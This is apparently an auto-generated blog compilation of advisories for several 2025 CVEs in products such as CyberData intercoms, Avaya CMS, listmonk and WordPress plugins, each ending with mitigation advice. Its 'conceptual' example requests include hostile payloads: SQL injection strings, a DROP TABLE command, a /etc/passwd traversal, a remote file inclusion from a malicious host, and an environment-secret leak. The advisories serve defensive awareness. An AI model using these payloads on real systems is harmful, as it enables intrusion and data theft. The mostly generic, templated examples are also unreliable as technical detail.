Author: Ameeba

Overview

In this blog post, we will dive deep into a recently uncovered vulnerability in CyberData’s 011209 Intercom systems. This vulnerability, tracked as CVE-2025-30515, poses a severe risk to users due to its high CVSS severity score of 9.8. The flaw could allow an authenticated attacker to upload arbitrary files, potentially compromising the entire system or leading to data leaks. Given the widespread use of these intercom systems in businesses and residences alike, understanding and mitigating this vulnerability should be a top priority for network administrators, IT professionals, and all users of the affected products.

Vulnerability Summary

CVE ID: CVE-2025-30515
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The vulnerability in the CyberData 011209 Intercom system arises from its insecure file upload functionality. An authenticated attacker could exploit this vulnerability by uploading arbitrary files to multiple locations within the system. This could allow the attacker to execute unauthorized code or commands, leading to system compromise or data leakage. This vulnerability is particularly concerning as it only requires low privileges and user interaction, making it easier to exploit compared to others requiring higher privileges.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents a malicious HTTP request:

POST /upload_file HTTP/1.1
Host: target.intercom.com
Content-Type: multipart/form-data
{
"file": {
"name": "malicious_script.sh",
"content": "echo 'You are hacked!'"
}
}

In this example, the attacker is attempting to upload a malicious shell script named “malicious_script.sh” which, when executed, can compromise the system.

Mitigation Guidance

Users of the affected CyberData 011209 Intercom systems are advised to apply the latest vendor patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and block unauthorized file uploads, potentially preventing exploitation of this vulnerability.

Overview

In the realm of cybersecurity, constant vigilance is the key to maintaining secure systems. A recently discovered vulnerability, CVE-2025-30184, poses a significant threat to the users of CyberData 011209 Intercom. This vulnerability could potentially allow an unauthenticated user to gain access to the Web Interface through an alternate path. Given the severity of the vulnerability, it is crucial to understand its implications, how it works, and the steps required to mitigate its impact.
The vulnerability’s significance lies in its potential to compromise systems or lead to data leakage. It affects all users of CyberData 011209 Intercom and, if left unaddressed, could lead to unauthorized access, alteration, or theft of sensitive data. The threat it poses to data privacy and system integrity underscores the importance of immediate action to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-30184
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The vulnerability stems from an insecure configuration within the CyberData 011209 Intercom that exposes an alternate path to the Web Interface. This faulty configuration allows an unauthenticated user to bypass standard access controls and gain unauthorized access to the system. As a result, a cyber attacker can potentially exploit this vulnerability to compromise the system or leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a simple HTTP request:

GET /alternate/path/to/web/interface HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to the alternate path. If the system is vulnerable, it will grant access to the web interface without requiring any form of authentication.

Mitigation Measures

To mitigate the potential impact of this vulnerability, it is crucial to apply the patch provided by the vendor. If the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation. These systems can monitor the network for any suspicious activity and block unauthorized access attempts to the web interface. However, these are temporary measures, and applying the vendor patch is highly recommended for long-term security. Regularly updating your systems and conducting cybersecurity audits can also help identify and rectify such vulnerabilities promptly.

Overview

This article details the CVE-2025-1041 vulnerability discovered in Avaya Call Management System. This critical flaw allows unauthorized remote commands via a specially crafted web request, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 9.9, this vulnerability is of serious concern to anyone running the affected versions of the Avaya Call Management System. It is critical for system administrators to understand the details of this vulnerability, apply the necessary patches, or implement the recommended temporary mitigations to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-1041
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Avaya Call Management System | 18.x
Avaya Call Management System | 19.x up to 19.2.0.6
Avaya Call Management System | 20.x up to 20.0.0.9

How the Exploit Works

The exploit takes advantage of an improper input validation in the Avaya Call Management System. An attacker crafts a malicious web request, which can bypass the input validation mechanisms of the system. This allows the attacker to inject unauthorized remote commands, leading to potential system compromise and data leakage. This attack can be performed over the network, and doesn’t require any user interaction or special privileges.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker could use to deliver a malicious payload:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<command>" }

In this example, `` would be replaced with the attacker’s unauthorized command. Please note, this is a theoretical example and not an actual exploit code.

Mitigation Guidance

Avaya has released patches to address this vulnerability. Users of affected versions are strongly urged to apply the patches immediately. If patching is currently not possible, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, these measures are not foolproof and only serve as a stopgap until patches can be applied. Always prioritize patching and regularly update your systems to prevent potential exploits.

Overview

Software vulnerabilities are a grave concern for cybersecurity experts, developers, and users alike. They create security loopholes that nefarious actors can exploit, potentially leading to system compromise or data leakage. One such vulnerability is CVE-2025-32595, which targets the Gavias Krowd platform. The platform, which is widely used for creating Drupal themes, has been found to contain a ‘PHP Remote File Inclusion’ vulnerability, making it susceptible to PHP Local File Inclusion attacks. This issue is significant due to the popularity of the platform and the severity of the potential impact.

Vulnerability Summary

CVE ID: CVE-2025-32595
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Gavias Krowd | Until 1.4.1

How the Exploit Works

The vulnerability resides in the improper control of the filename for the include/require statement in a PHP program, making it possible for an attacker to include a file from a remote server. When the affected script is called, it includes the remote file, effectively allowing the attacker to execute arbitrary PHP code on the server running the affected application. This can lead to an attacker gaining unauthorized access, altering data, or even taking control of the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

GET /index.php?page=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, `http://malicious.example.com/malicious_script.txt` is a PHP script controlled by the attacker. When the `index.php` page is loaded, it includes the malicious script, allowing for arbitrary PHP code execution.

Mitigation

Users are urged to apply the vendor-supplied patch immediately to rectify this issue. In the absence of this, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions and can only limit the potential for exploitation. The definitive solution is to update to a patched version of the software as soon as it is available.

Overview

In the world of cybersecurity, routine software updates and patches are crucial to maintain the security of systems. However, vulnerabilities can sometimes slip through even the most rigorous testing processes. One such vulnerability, CVE-2025-49136, affects the popular standalone, self-hosted newsletter and mailing list manager, listmonk. The vulnerability, if exploited, could lead to a system compromise or data leakage.
This vulnerability has a significant impact on multi-user installations of listmonk, particularly those where non-super-admin users have campaign or template permissions. It is considered critical due to the potential for unauthorized access to sensitive environment variables which could lead to devastating breaches of data and system security.

Vulnerability Summary

CVE ID: CVE-2025-49136
Severity: Critical (CVSS: 9.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Unauthorized access to sensitive environment variables leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

listmonk | 4.0.0 – 4.9.9

How the Exploit Works

The exploit takes advantage of the `env` and `expandenv` template functions in listmonk, which are enabled by default. These functions allow the capturing of environment variables on the host system. In single-user installations, this may not be a significant issue. However, in multi-user installations, any non-super-admin user with campaign or template permissions can use the `{{ env }}` template expression to capture sensitive environment variables. This could potentially expose secret keys, passwords, and other confidential information.

Conceptual Example Code

Consider a scenario where a non-super-admin user has campaign permissions in a multi-user listmonk installation. They could potentially exploit this vulnerability as follows:

# Use the `env` template function to capture sensitive environment variables
echo '{{ env "SECRET_KEY" }}' > exploit.tmpl
# Use the template in a campaign
listmonk --campaign exploit.tmpl

The above pseudo-code represents an example of how this vulnerability could be exploited, leading to unauthorized access to sensitive environment variables.

Mitigation Guidance

The most effective solution to mitigate this vulnerability is to upgrade listmonk to version 5.0.2 or later. However, if an immediate upgrade is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. These measures could help detect and prevent any unauthorized access attempts exploiting this vulnerability.

Overview

The cybersecurity world is grappling with yet another vulnerability, this time within Lablup’s BackendAI. Specifically, CVE-2025-49652 is an alarming flaw that allows arbitrary users to create user accounts and access private data, even when registration is disabled. Given the ubiquity of Lablup’s BackendAI in various industries, this vulnerability represents a significant risk, potentially leading to system compromise or data leakage. Addressing this issue should be a top priority for all organizations relying on BackendAI to mitigate potential systemic damage.

Vulnerability Summary

CVE ID: CVE-2025-49652
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Lablup BackendAI | All versions prior to patch release

How the Exploit Works

The flaw in question, CVE-2025-49652, resides in the registration feature of Lablup’s BackendAI. It is the result of missing authentication, which allows arbitrary users to create user accounts and access private data, even when registration is disabled. This means that an attacker could take advantage of this vulnerability to create an account without any administrative oversight, hence gaining unauthorized access to sensitive user data and potentially compromising the system.

Conceptual Example Code

The exploitation of this vulnerability could be conceptually illustrated with an HTTP request similar to the one below. In this example, the attacker sends a POST request to the registration endpoint with their details, effectively creating a new user account:

POST /register HTTP/1.1
Host: vulnerable-backendai.example.com
Content-Type: application/json
{
"username": "attacker",
"password": "attacker_password",
"email": "attacker@example.com"
}

In this scenario, even though the registration feature is ostensibly disabled, the system still processes the request and creates a new user account, granting the attacker access to the system and potentially private data.

Mitigation

To address this vulnerability, users are strongly advised to apply the vendor patch as soon as it is available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure, helping to detect and block malicious attempts to exploit this vulnerability. However, these are only temporary solutions, and applying the vendor patch is the most effective way to permanently fix this vulnerability.

Overview

In the world of cybersecurity, the ability to spot and neutralize vulnerabilities is paramount. One such vulnerability that has surfaced recently is CVE-2025-47651. This is a SQL Injection vulnerability that impacts Infility Global, a software widely used by industries around the globe. The vulnerability, if left unaddressed, opens up the potential for serious system compromise or data leakage. This is particularly concerning for organizations that handle sensitive data, as the potential for misuse is substantial. It’s therefore critical for users of Infility Global to understand this vulnerability and take the necessary steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-47651
Severity: High (8.5/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Infility Global | n/a through 2.12.4

How the Exploit Works

The exploit takes advantage of improper neutralization of special elements used in an SQL command within Infility Global. Essentially, an attacker can manipulate SQL queries in the application through crafted input. This could allow an attacker to view, modify, or delete data that they normally would not have permission to access. In severe cases, it could also lead to a full system compromise.

Conceptual Example Code

For illustrative purposes, here is a conceptual example of how the vulnerability might be exploited. Please note that this is a simplified example and actual attacks might be more complex and sophisticated:

POST /infility/global/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "payload": "' OR '1'='1'; --" }

In this example, the attacker sends a payload that alters the SQL query to be always true (`’ OR ‘1’=’1′; –`). This kind of malicious payload can lead to unauthorized access to sensitive data or even system controls.
The vulnerability has a high severity score of 8.5, indicating the potential for significant damage if exploited. As such, it is essential for organizations using Infility Global to apply the necessary patches or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure until the patches can be applied.

Overview

This blog post delves into the CVE-2025-48267 vulnerability, a Path Traversal vulnerability found in ThimPress WP Pipes, a WordPress plugin. This vulnerability affects all ThimPress WP Pipes versions up to and including 1.4.2. It is a significant issue as it provides potential attackers with a mechanism to compromise systems or leak data, which could have devastating consequences for any business, including reputation damage, financial loss, and potential legal implications.

Vulnerability Summary

CVE ID: CVE-2025-48267
Severity: High (CVSS: 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

ThimPress WP Pipes | up to and including 1.4.2

How the Exploit Works

The Path Traversal vulnerability in ThimPress WP Pipes allows an attacker to access sensitive data by manipulating file and directory paths. By injecting malicious input into the file path parameters used by the plugin, an attacker can traverse outside of the intended directory and gain access to restricted directories or files. This vulnerability can be exploited remotely and does not require any form of authentication or user interaction.

Conceptual Example Code

Here’s an example of how this vulnerability might be exploited using a HTTP request:

GET /wp-content/plugins/wp-pipes/pipes-api.php?task=../../../../../../../etc/passwd HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: */*
Referer: http://target.example.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

In the above example, the attacker is attempting to retrieve the contents of the “/etc/passwd” file, which is a common target for such attacks as it can contain sensitive user information.

Mitigation Measures

Users of ThimPress WP Pipes are advised to apply the vendor patch immediately to mitigate this vulnerability. If a patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. It’s important to note that these are temporary measures and should not replace the need to apply vendor patches. Patches are the most effective way to remediate vulnerabilities as they directly address and rectify the underlying issue in the software.

Overview

In the ever-evolving landscape of cybersecurity threats, the Incorrect Privilege Assignment vulnerability, identified as CVE-2025-47561, poses a significant risk to users and administrators of the RomanCode MapSVG software. This vulnerability allows privilege escalation, meaning that users with lower-level access can gain unauthorized elevated privileges, potentially leading to system compromise or data leakage. This issue is notably severe due to the widespread usage of MapSVG and the potential high-impact consequences of a successful exploit.

Vulnerability Summary

CVE ID: CVE-2025-47561
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RomanCode MapSVG | n/a through 8.5.34

How the Exploit Works

The Incorrect Privilege Assignment vulnerability in RomanCode MapSVG operates through a flaw in the software’s permission settings. It erroneously grants elevated privileges to lower-level users, thus enabling them to perform actions that should be restricted to higher-level users. An attacker could exploit this vulnerability by manipulating application functionality that is not properly secured, leading to unauthorized actions that can result in system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example assumes a context where an HTTP request is used to manipulate the privilege settings:

POST /modify_privileges HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_id": "target_user", "new_privilege_level": "admin" }

In this example, the attacker is sending a POST request to a hypothetically unsecured endpoint (`/modify_privileges`) that changes the privilege level of a user. The payload contains the ID of the user whose privileges are to be escalated (`target_user`), and the new privilege level to be assigned (`admin`).

Mitigation Guidance

Users and administrators of the affected RomanCode MapSVG versions are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation to monitor and possibly block malicious traffic exploiting this vulnerability. Regularly updating your software and maintaining a robust security infrastructure are key to reducing the risk of future vulnerabilities.

Overview

A high-risk vulnerability, known as CVE-2025-48281, has been discovered that affects the MyStyle Custom Product Designer software. This vulnerability, a classic example of SQL Injection, has the potential to compromise system integrity and leak sensitive data. It is classified as a severe issue due to its ability to be exploited remotely and the potential damage it can cause. This is a concern for any organization that uses MyStyle Custom Product Designer, as it poses a significant threat to their security infrastructure and data privacy.

Vulnerability Summary

CVE ID: CVE-2025-48281
Severity: Critical (CVSS: 9.3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

MyStyle Custom Product Designer | n/a through 3.21.1

How the Exploit Works

The vulnerability lies in the improper neutralization of special elements used in an SQL command within the MyStyle Custom Product Designer software. An attacker can exploit this flaw by sending a specially crafted SQL command, which is then executed by the application. This technique, known as Blind SQL Injection, allows an attacker to manipulate the application’s database, potentially leading to data leakage or a full system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, using a malicious SQL command embedded within a seemingly innocent request:

POST /mystyle/designer/submitDesign HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "design_id": "1; DROP TABLE users;" }

In this example, the “design_id” parameter is manipulated to include a harmful SQL statement (`DROP TABLE users;`) that could delete an entire user database if executed.

Mitigation Guidance

The most effective mitigation strategy is to apply the vendor’s patch once available. Until then, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS), which can help detect and block SQL Injection attempts. Additionally, organizations should ensure that they are following best practices for secure coding to prevent such vulnerabilities from being introduced in the first place. This includes input validation, parameterized queries, and least privilege access controls.